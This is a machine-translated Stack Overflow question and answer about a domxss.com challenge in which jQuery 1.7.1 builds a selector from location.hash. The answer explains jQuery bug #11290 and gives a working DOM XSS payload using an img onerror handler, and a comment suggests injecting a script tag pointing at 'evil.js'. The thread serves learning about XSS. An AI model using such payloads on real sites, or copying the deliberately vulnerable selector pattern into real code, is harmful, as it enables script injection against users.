【问题标题】:How is HTML injection possible in this domxss.com challenge在这个 domxss.com 挑战中如何进行 HTML 注入
【发布时间】:2021-05-31 19:28:59
【问题描述】:

OWASP 对 HTML 注入页面 (link) 的测试显示了一个可能容易受到 HTML 注入攻击的特定代码。

<script src="../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
    var t=location.hash.slice(1);
    $("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage  );
$(window).bind("hashchange",setMessage)
</script>
<body>
    <script src="../js/embed.js"></script>
    <span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
    <span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
    <span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>

此代码是 (domxss.com) 上的挑战之一,我不确定它是如何易受攻击的。

据我了解,URL 的哈希可以用作输入,并且 URL 的任何更改都会触发 setMessage 函数。这个 URL 哈希将是我的有效负载。然而,这个有效载荷只被用作 jQuery 中的选择器,这是我碰壁的地方。

我对 XSS 比较陌生,所以任何有效载荷都会受到赞赏。一个解释显然是受欢迎的。

此外,任何通过 jQuery 更好地理解 HTML 注入攻击的资源都会很有用。

【问题讨论】:

  • 很久没用jQuery了,不过jQuery也可以用它的构造函数创建新元素。像$('&lt;script src="evil.js"&gt;&lt;/script&gt;') 这样的东西。不确定这是否适用于该选择器的上下文...可能值得尝试。

标签: html jquery xss owasp html-injections


【解决方案1】:

是的,非常旧的 jQuery 版本容易受到来自动态选择器字符串的 XSS 攻击。请参阅 jQuery 的错误跟踪器上的 Bug # 11290 - 如果制定得恰到好处,选择器字符串可能会被意外地解释为 HTML。如果选择器字符串可以由用户提供,您可能会遇到麻烦。

举个简单的例子:

$(`div[class='&lt;img src="" onerror=alert("evil")&gt;]`).text("The DOM is now loaded and can be manipulated.");
&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.7.1/jquery.min.js"&gt;&lt;/script&gt;

原来的

$("div[id="+t+"]")

可以注入这样的t,导致任意代码运行。

const t = `'<img src="" onerror=alert("evil")>]`;
$("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.7.1/jquery.min.js"&gt;&lt;/script&gt;

这个 bug 是 9 年前修复的,所以除非你故意使用旧版本的 jQuery 并且从不更新依赖项,否则它可能不会影响你。

这个bug最终是由an insufficiently strict regex.引起的。

【讨论】:

  • 链接的错误修复确实提到它应该修复“xss 通过哈希攻击”
猜你喜欢
  • 2021-01-31
  • 2023-01-20
  • 2020-04-15
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多